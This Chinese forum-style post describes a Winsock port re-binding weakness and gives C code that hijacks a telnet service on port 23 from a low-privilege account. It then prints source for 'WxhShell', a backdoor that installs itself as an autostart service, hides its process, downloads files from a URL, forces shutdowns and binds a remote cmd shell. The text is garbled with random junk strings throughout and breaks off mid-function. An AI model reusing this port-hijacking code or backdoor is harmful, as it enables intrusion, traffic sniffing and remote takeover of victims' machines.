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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z&amYwQcI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tr[}F7n9 X$we\t saddr.sin_family = AF_INET; # dUKG8-HJ <-`.u` saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,%*UF6B
M BX0lk bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Op ar+|p\ k77 3h`; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KD &nLm! 7qB4_ 这意味着什么?意味着可以进行如下的攻击: a+cMXMf .cHgYHa 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (yqe4 =#Sw.N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m7'<k1#"Y Wn(!6yid 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >0{}tRm-P& SWV*w[X<X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 LUMbRrD- iAu/ t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?[Lk]A&"L2 !Zj]0,^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *#XZ*Ga '6dVe2V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Snf_{A< gM3:J:N #include e.n(NW #include "=Br&FN{| #include 1 P!)4W #include kL*P 3
0 DWORD WINAPI ClientThread(LPVOID lpParam); #uhUZq int main() ?7aZU { DO*U7V02 WORD wVersionRequested; -+rzc&h DWORD ret; W\~^*ny
P6 WSADATA wsaData; H`CID*Ji BOOL val; V%oZT>T3 SOCKADDR_IN saddr; 0hemXvv1 SOCKADDR_IN scaddr; 90<g=B int err; {-\U)&6#v SOCKET s; MNd\)nX SOCKET sc; q*&R&K;q int caddsize; ~(^P( HANDLE mt; a_>|Ny6{ DWORD tid; =b%}x >> wVersionRequested = MAKEWORD( 2, 2 ); \;X7DK2 err = WSAStartup( wVersionRequested, &wsaData ); <=*f if ( err != 0 ) { Gaix6@X6' printf("error!WSAStartup failed!\n"); 4b2d(x)0X return -1; k XSX<b <% } LORcf 1X/ saddr.sin_family = AF_INET; ,2S!$M ]c/E7|0Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]
4dl6T q Q\j saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'k,2*.A saddr.sin_port = htons(23); p'K`K\X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jzbq{# { R@o&c%K" printf("error!socket failed!\n"); (I>Ch)' return -1; D@bGJc0 } 8q[;
0 val = TRUE; &zEQbHK6 //SO_REUSEADDR选项就是可以实现端口重绑定的 Du+W7]yCl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %\m"Yi] { jW'YQrj{<Y printf("error!setsockopt failed!\n"); j7~FR{:j return -1; h:?^0b!@ } U] LDi8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5'} V`?S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1F@j?)( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v-{g UT<e/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5RP kAC { [8iY0m_Qe ret=GetLastError(); #CC5+ printf("error!bind failed!\n"); jc5[r;# return -1; %j7b0pb } vY4sU@+V listen(s,2); AQ~ xjU while(1) N6Mr#A-{ { IO\4dU) caddsize = sizeof(scaddr); o:Fq|?/e //接受连接请求 !zA@{gvEc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oW3"J6,S if(sc!=INVALID_SOCKET) m@Z# { $h#sb4ek mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OEW'bT) if(mt==NULL) ETp?R WXX { uZ+bo& printf("Thread Creat Failed!\n"); IzP,)!EE break; :7v'[b }
BQ-x#[%s } kBo:)Vej4 CloseHandle(mt); l(t&<O(m9 } ~t6q-P closesocket(s); $^]K611w9 WSACleanup(); =Hi@q
" return 0; ^hIdmTf6 } Z8|<%1Kge DWORD WINAPI ClientThread(LPVOID lpParam)
}v ZOPTP { *1)>He$qL SOCKET ss = (SOCKET)lpParam; GJ ^c^` SOCKET sc; ./YR8 #, unsigned char buf[4096]; 51|ky- SOCKADDR_IN saddr;
~>u.d long num; cQU/z"?+ DWORD val; EeuYRyK DWORD ret; EQ1**[$ //如果是隐藏端口应用的话,可以在此处加一些判断 ] ,|,/~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 QaWS%0go saddr.sin_family = AF_INET; 1JJsYX saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); owAO&"C saddr.sin_port = htons(23); }p)K6!J0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @oXGa>Ru { D-gH_ff<]9 printf("error!socket failed!\n"); IG^@VQ% return -1; iGyetFqKw } \@<7Vo, val = 100; 4EB\R"rWXf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jI-a+LnEm { ?.~1%l ! ret = GetLastError(); &\h7E
return -1; \-\>JPO~< } Ew8@{X
y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .~]|gg~ { ]eL# bJ ret = GetLastError(); RTOA'|[0M return -1; fLDrit4_Q } !_Lmrs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Sc<dxY@w7- { }icCp)b>v printf("error!socket connect failed!\n"); '/d51 closesocket(sc); pj>R9zpn_ closesocket(ss); qmrT dG return -1; _#8hgwf> } aacy5E while(1) \v2!5z8| { E>~R P^?Uz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n$iX6Cd //如果是嗅探内容的话,可以再此处进行内容分析和记录 =?i?-6M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &W<7!U:2m num = recv(ss,buf,4096,0); #ArrQeO 5_ if(num>0) 6h:QSVfx send(sc,buf,num,0); ;blL\|ch; else if(num==0) KOcB#UHJ break; Bkcwl num = recv(sc,buf,4096,0); z*.AuEK? if(num>0) aKI"<%PNn send(ss,buf,num,0); y=3 dGOFB else if(num==0) P>/:dt'GJ} break; o@meogkL } }d[(kC_ closesocket(ss); @C;1e7 closesocket(sc); +f3Rzx] return 0 ; opcanl9pSW } Hm-#Mpw YI0
wr1N h]4xS?6O ========================================================== X~{6$J|]#i CoN[Yf3\ 下边附上一个代码,,WXhSHELL "HOZ2_(o 3smkY ========================================================== 2#wnJdr6E bWe2z~dP #include "stdafx.h" w\buQ6pR) (.J/Ql0Y #include <stdio.h> MO`Y&<g~A #include <string.h> T.bFB+'E| #include <windows.h> J
En jc/ #include <winsock2.h> %cF`x_h[j #include <winsvc.h> .D*Qu} #include <urlmon.h> -^p{J
TB+ DE(XSzX #pragma comment (lib, "Ws2_32.lib") ]*0zir/ #pragma comment (lib, "urlmon.lib") [|nK5(e9 5P,&VB8L #define MAX_USER 100 // 最大客户端连接数 V?mP7 #define BUF_SOCK 200 // sock buffer bWFa{W5! #define KEY_BUFF 255 // 输入 buffer ?ANWI8'_j aV;|2}q " #define REBOOT 0 // 重启 sY]J!" #define SHUTDOWN 1 // 关机 2yN!yIPR mGT('iTM4 #define DEF_PORT 5000 // 监听端口 9{Hs1MD[ zJDHDr #define REG_LEN 16 // 注册表键长度 -E-#@s #define SVC_LEN 80 // NT服务名长度 4n,&,R r# K?.~}82c // 从dll定义API V)$!WPL@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C5 ~#lNC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a&s34Pd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kWzp*<lWe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ff--y8h Wt.DL mO // wxhshell配置信息 F^dJ{<yX struct WSCFG { 2BccE int ws_port; // 监听端口 WK%cbFq( char ws_passstr[REG_LEN]; // 口令 XYcZ;Z 9: int ws_autoins; // 安装标记, 1=yes 0=no I9?\Jbqg char ws_regname[REG_LEN]; // 注册表键名 +Mj6.X char ws_svcname[REG_LEN]; // 服务名 ; lMv xt: char ws_svcdisp[SVC_LEN]; // 服务显示名 0R?1|YnB char ws_svcdesc[SVC_LEN]; // 服务描述信息 5`h 6oFxGp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @c~Z0+Ji int ws_downexe; // 下载执行标记, 1=yes 0=no e!u]l char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
*yZ6" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ww<Y]H$xZ< Ah2@sp,z }; a%#UF@I Tm%5:/<8 // default Wxhshell configuration -` ]9o3E7H struct WSCFG wscfg={DEF_PORT, 6h9(u7(-N "xuhuanlingzhe", ]E9iaq6Z 1, |MNSIb&,W "Wxhshell", rto?*^N? "Wxhshell", HUKrp*Hv "WxhShell Service", EX)&|2w
"Wrsky Windows CmdShell Service", Ez1eGPVr "Please Input Your Password: ", 9<mMU: 1, Wn<?_}sa|z " http://www.wrsky.com/wxhshell.exe", A7 RI&g
v5 "Wxhshell.exe" *HrEh;3^J }; }*x1e_m}H QqM[W/&R // 消息定义模块 P(T-2Ux6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p6JTNxD char *msg_ws_prompt="\n\r? for help\n\r#>"; g->*@%?<w> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Nl\`xl6y] char *msg_ws_ext="\n\rExit."; =,XCjiBeC char *msg_ws_end="\n\rQuit."; @pH2"k|
@ char *msg_ws_boot="\n\rReboot..."; #`Su3~T=S char *msg_ws_poff="\n\rShutdown..."; eWH0zswG char *msg_ws_down="\n\rSave to "; ~WA@YjQ] tZ]gVgZg char *msg_ws_err="\n\rErr!"; rPk|2l,E,3 char *msg_ws_ok="\n\rOK!"; }Rh\JDiQ z5@XFaQ char ExeFile[MAX_PATH]; k_pv6YrE int nUser = 0; 0["93n}r HANDLE handles[MAX_USER]; 9#DXA} int OsIsNt; %A zy#m
yZlT#^$\ SERVICE_STATUS serviceStatus; ]J Yz(m[ SERVICE_STATUS_HANDLE hServiceStatusHandle; Nm)3 q1ysT.{p, // 函数声明 )zL@h int Install(void); dGZie.Zx int Uninstall(void); o2fih%p?1 int DownloadFile(char *sURL, SOCKET wsh); }aWy#Oe int Boot(int flag); tLzLO#/n void HideProc(void); eRUdPPq_d int GetOsVer(void); <Jgcj4D int Wxhshell(SOCKET wsl); YZ~MByu void TalkWithClient(void *cs); hBU)gP75 int CmdShell(SOCKET sock); w =GMQ8 int StartFromService(void); 'z}
t= ? int StartWxhshell(LPSTR lpCmdLine); 0U=wGIO $N?8[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /k'7j*t Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); )+
<w>pc H(y`[B,}* // 数据结构和表定义 \%7*@& SERVICE_TABLE_ENTRY DispatchTable[] = /,G `V { R3B+vLGX {wscfg.ws_svcname, NTServiceMain}, qO{z{@jo55 {NULL, NULL} ` GF w?G }; P<pv@l9) ~b_DFj // 自我安装 UytMnJ88 int Install(void) HXq']+iC { oc1BOW z char svExeFile[MAX_PATH]; |4\1V=( HKEY key; [t4v/vQT strcpy(svExeFile,ExeFile); ny-:%A t:10
// 如果是win9x系统,修改注册表设为自启动 aUw-P{zp% if(!OsIsNt) { "L3mW=!* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (?e%w} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ph3;;,v ' RegCloseKey(key); kjYM&q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dg&6@c| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x^1udK^re RegCloseKey(key); 5FOMh"!z\ return 0; bZxN]6_ } o[>d"Kp } -6[DQB }
v,<14w else { UA<Fxt cC~RW71 // 如果是NT以上系统,安装为系统服务
r!R-3LO0s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); REW[`MBQ if (schSCManager!=0) }`qAb/Ov { ]BO:*&O SC_HANDLE schService = CreateService V'vWz`# ( `'1g>Ebk0 schSCManager, 4l 67B]o wscfg.ws_svcname, x9YQd69 wscfg.ws_svcdisp, $toTMah
w SERVICE_ALL_ACCESS, E+]}KX: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zud_BOq{f SERVICE_AUTO_START, Im;%.J SERVICE_ERROR_NORMAL, ;e?M;- svExeFile, !|[rh,e] NULL, ;1(^H:7T NULL, GD4S/fn3 NULL, NW1 Jr/ NULL, o=Vs)8W NULL UGAV"0 ); t6"%u3W8M if (schService!=0) (%6fMVp { |nNcV~%~ CloseServiceHandle(schService); hTDK[4e CloseServiceHandle(schSCManager); Qu|CXUk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =F+v+zP7P strcat(svExeFile,wscfg.ws_svcname); v~mVf.j1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z:\9t[e4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p@jw)xI RegCloseKey(key); i.mv`u Dm return 0; =Dn<DV } 3RaduN] } AR[m+E CloseServiceHandle(schSCManager); xO|r<R7d7 } D, ")n75 } O,r;-t4vYU p!pf2}6Fd return 1; R/=rNUe } Ll]5u~ CXq[VYM&X // 自我卸载 4\n
~
int Uninstall(void) >ai,6! { ]y@A=nR HKEY key; Da-Lf2qT9 d"XZlEV if(!OsIsNt) { t'U=K>7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eIvZhi RegDeleteValue(key,wscfg.ws_regname); |^Iox0A RegCloseKey(key); O=jLZ2os if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zM0}(5$m RegDeleteValue(key,wscfg.ws_regname); h ;*x1BVE RegCloseKey(key); >eTbg"\ return 0; iwF_'I$#N } t'eaR- } :-RB< Lj } CV0id&Nv else { e\6H.9= l|.}>SfL^u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :qE.(k1@5 if (schSCManager!=0) 7eCjp { }PI:O%N; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZVXPp-M if (schService!=0) _*AI1/>` { 4kL6aSqT if(DeleteService(schService)!=0) { 'J?{/O ^ CloseServiceHandle(schService); AMyg>n! CloseServiceHandle(schSCManager); T1C_L?L return 0; t=Oq<r } Tf3CyH!k CloseServiceHandle(schService); boojq{cvYA } p4P=T@: CloseServiceHandle(schSCManager); =NY;#Jjn } 5len}){ } &@6xu{o jG1(Oe;# return 1; Z=&|__+d } ]$g07 7o FGn"j@m0 // 从指定url下载文件 @V
' HX int DownloadFile(char *sURL, SOCKET wsh) %6q82}# ` { c+ZOC8R HRESULT hr; 7L
#)yY char seps[]= "/"; ^;F/^_ char *token; ~lV#- m* char *file; ovp/DM char myURL[MAX_PATH]; Qhj']>#g char myFILE[MAX_PATH]; 1i#y>fUj u.yR oZ8/! strcpy(myURL,sURL); U$5x#{AFp token=strtok(myURL,seps); J?V$V
>d while(token!=NULL) byI"
? { %1
)c{7 file=token; dy+A$)gY< token=strtok(NULL,seps); {|oWU8.l } 'ayb` i@9
qp?eb GetCurrentDirectory(MAX_PATH,myFILE); 45 ^ Z5t strcat(myFILE, "\\"); gs1yWnSv5 strcat(myFILE, file); A
l;a~45 send(wsh,myFILE,strlen(myFILE),0); frcX'M}% send(wsh,"...",3,0); K3mP 6Z#2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! \s}A7 if(hr==S_OK) a
&tWMxBr return 0; B=]j=\o else )M<+?R$]; return 1; JLm3qIC Dspvc } Pyuul4( )<HvIr(xr // 系统电源模块 :WRD<D_4 int Boot(int flag) uzxwJs'fz { %fF,Fnf2 HANDLE hToken; lZAGoR;0Ra TOKEN_PRIVILEGES tkp; v(;yy{>8" ]?]M5rP if(OsIsNt) { Z=8&` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6-\Mf:%B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "&H'?N%9Up tkp.PrivilegeCount = 1; A_TaXl( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -G>J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oO;L l?~ if(flag==REBOOT) { ~2>A dp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "81'{\(I_ return 0; <6;M\:Y*T } pmP~1=3 else { _Yo)m|RaB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s=)W return 0; n#}@|"J } gE #|eiu } #r9\.NA! else { "iEnsP@'Wg if(flag==REBOOT) { X_'tgP9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A o*IshVh return 0; /{l_tiE7 } ;R6f9tu2 else { c9c]1XJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #jBmWaP. return 0; ?8$`GyjS } 3~fi#{ } :JSxsA6k @MibKj>o return 1; eTjPztdJbx } z(c8] Wu# 9wCgJ$te // win9x进程隐藏模块 (P?|Bk[ void HideProc(void) \X\< +KU { a)W|gx6Y Y
22Ai HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pF6u3] if ( hKernel != NULL ) o;wSG81 { PI L)(%X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vFHeGq70j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |};d:LwX FreeLibrary(hKernel); *-*V>ntvT$ } nZ=[6? >3g`6d return; hAUP#y@:H: } Z?S?O#FED Ru
d9l.n // 获取操作系统版本 #rW-jW=A int GetOsVer(void) o,j_eheAM { 4w|t|? OSVERSIONINFO winfo; 2wO8;wiA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wj3i*x$
GetVersionEx(&winfo); t$qIJt$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PJ:!O?KVq return 1; j+'ua=T3 else O:I]v@ return 0; *# <%04f } \
P6 ! 7>im2"zm // 客户端句柄模块 hTO5*5]0zP int Wxhshell(SOCKET wsl) m^BXLG:b { 5vD\?,f E SOCKET wsh; h)sT37 struct sockaddr_in client; 'r=2f6G>cP DWORD myID; W 8`6O2 hwk] ;6[ while(nUser<MAX_USER) M%54FsV { FLJ&ZU=s int nSize=sizeof(client); Vxrj(knck, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /)v+|%U if(wsh==INVALID_SOCKET) return 1; 6|Dtx5
"r ^W}|1.uZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3R$R?^G if(handles[nUser]==0) noaR3) closesocket(wsh); U5ph4G else 'N6oXE nUser++; &!;o[joG } Q2oo\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h('5x,G% 4T52vM return 0; ~ecN4Oo4q; } @lM-+q(tl ,;YNI // 关闭 socket \+Qd=,!i( void CloseIt(SOCKET wsh)
|,KsJ2hD { ('%Y3z; closesocket(wsh); 8d1qRCIz nUser--; yL<u>S0 ExitThread(0); _&G_SNa } X9c<g; <:(;#&< // 客户端请求句柄 d|87;;X|u void TalkWithClient(void *cs) }X])055S { LIJ#nb !iHC++D SOCKET wsh=(SOCKET)cs; |0p@'X1 char pwd[SVC_LEN]; RwK6u-u#9 char cmd[KEY_BUFF]; b&,ZmDJh char chr[1]; g~|vmVBua int i,j; ~f[;(?39xZ AD!w:jT9 while (nUser < MAX_USER) { f"\klfrRI_ #v$wjqK5 if(wscfg.ws_passstr) { -1$z=,q' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }VWUcALJV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X ?ZLmP7| //ZeroMemory(pwd,KEY_BUFF); US's`Ehx i=0; * >2FcoN; while(i<SVC_LEN) { _lT'nFe=Q X%99@ qv // 设置超时 "IpbR fd_set FdRead; *E>R1bJ8 struct timeval TimeOut; g"!cO^GkT FD_ZERO(&FdRead); }/tf^@ FD_SET(wsh,&FdRead); 2>.b~q@ TimeOut.tv_sec=8; mo
tW7|p.e TimeOut.tv_usec=0; ZLVgK@l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F&CvqPI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZJFF4($qN >^W6'Q$P< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O,+9r_Gh pwd =chr[0]; o3GZcH? if(chr[0]==0xd || chr[0]==0xa) { Nv0a]Am pwd=0; 1DU
l<&4 break; GM8>u O } >'m&/&h i++; 9 M?UPE } 5D-as9k* *Vb#@O! // 如果是非法用户,关闭 socket eMEKR5*-O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1f"}]MbLR } Gys-Im6>~@ xz}CqPJ# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A#Ga!a send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pec40g:#F 3ohHBo while(1) { $t6t 6<M) SY.koW ZeroMemory(cmd,KEY_BUFF); !z:j-gT3 0%|)=T3Slu // 自动支持客户端 telnet标准 _h,X3P j=0; 4y4r;[@U while(j<KEY_BUFF) { wmMn1q0F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k^KpQ&n cmd[j]=chr[0]; j)nE!GKD( if(chr[0]==0xa || chr[0]==0xd) { Mj2Dat`p9 cmd[j]=0; gQ{<2u break; '%+LQ"Bp } Cnc=GTRi j++; xVI"sBUu } ?#doH, ^?q(fK% // 下载文件 9J_vvq`%` if(strstr(cmd,"http://")) { ?J+*i
d send(wsh,msg_ws_down,strlen(msg_ws_down),0); QYj 4D if(DownloadFile(cmd,wsh)) VgY6M_V send(wsh,msg_ws_err,strlen(msg_ws_err),0); SN7_^F else /r&4< @ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -J'ked } pp#!sRUKPV else { %k"hzjXAw -nD}k switch(cmd[0]) { FyXO @yF 0>;[EFL // 帮助 7)> L#(N case '?': { wpNb/U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (KvN#d 1\ break; %Zfh6Bl\X } U3M;{_g // 安装 5ff5M=M case 'i': { 1} _<q k9 if(Install()) 1?"Zrd send(wsh,msg_ws_err,strlen(msg_ws_err),0); gtY7N>e else 4Pf"R~&[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7a3*a break; 3c:fYE } uzp\<\d-t // 卸载 RN&8dsreZp case 'r': { z>=;Xe8P8n if(Uninstall()) sUkn.g! send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=#jtU`:5 else <P*7u\9& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tqt~F2u break; Xp6Z<Z&N } wk=s3^ // 显示 wxhshell 所在路径 x6\^dVR} case 'p': { gA5DEit char svExeFile[MAX_PATH]; uc=u4@.> strcpy(svExeFile,"\n\r"); pJo4&Ff strcat(svExeFile,ExeFile); '7@Dw;
send(wsh,svExeFile,strlen(svExeFile),0); xkkG#n) break; AGx(IK/_ } A~s6~ // 重启 &u) qw} case 'b': { ^Y8G}Z| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )"00fZL if(Boot(REBOOT)) QdD@[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nAsc^Yh else { F"tM?V.| closesocket(wsh); |^w&dj\, ExitThread(0); `"xzC $ } '81Rwp break; t?;=\%^< } sI#h&V,9 // 关机 gaU^l73,C case 'd': { p@?(m/m$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Ci_wDJ if(Boot(SHUTDOWN)) {-|El}.M send(wsh,msg_ws_err,strlen(msg_ws_err),0); _JKz5hSl else { =wl0 closesocket(wsh); G+3uY25y ExitThread(0); %2?"x*A } ZS&lXgo break; nXh<+7 } f\:I1y // 获取shell L'"od;(6R case 's': { 0U2dNLc CmdShell(wsh); On+0@hh closesocket(wsh); B]>rcjD ExitThread(0); Xs2B:`,hh break; Ax4;[K\Q } V* ,u;* // 退出 b#S-u }1PE case 'x': { YIl,8!
z~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &';@CeK CloseIt(wsh); Ds8x9v)^ break; grDz7\i: } )9!J
$q // 离开 Y~OyoNu2 case 'q': { 7l'1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?CpM.{{s closesocket(wsh); NL"w#kTc() WSACleanup(); ;tZ 8Sh) exit(1); ggHl{cl) break; 6U] "i } n+'s9 } i_$?sg#=yk } uVw|jj S.owVMQ // 提示信息 "N=q>jaX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t\ 9Y)d } d^|r#"o[ } L%.=SbmS XfwH1n/o# return; (8GA;:G7G } &([Gc+"5E. wY7+E/ // shell模块句柄 3cFvS[JG int CmdShell(SOCKET sock) :XO7#P { c{/KkmI STARTUPINFO si; Nw3IDy~T ZeroMemory(&si,sizeof(si)); k%LsjN.S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NB&zBJ# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qh wl PROCESS_INFORMATION ProcessInfo; 2\[
Q{T=Qe char cmdline[]="cmd"; e" p5hpl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y)`q% J& return 0; pf_`{2.\uO } \j vS`+ XP@&I[J3sI // 自身启动模式 .@Jos^rxgJ int StartFromService(void) `$r?^|T { l @r`NFWD@ typedef struct WQY\R!+ { z`|E0~{- DWORD ExitStatus; /.m}y$@GV DWORD PebBaseAddress; `Jl_'P} DWORD AffinityMask; YZ5[# E@l DWORD BasePriority; 6IL-S%EGK1 ULONG UniqueProcessId; Q".p5(< ULONG InheritedFromUniqueProcessId; lp]q%P } PROCESS_BASIC_INFORMATION; dcN4N5r pR~"p#Y PROCNTQSIP NtQueryInformationProcess; 2ZQ|nwb7 {
*Wc`ZBY static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S!~p/bB[+I static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5{M$m&$1 8t&'Yk HANDLE hProcess; +
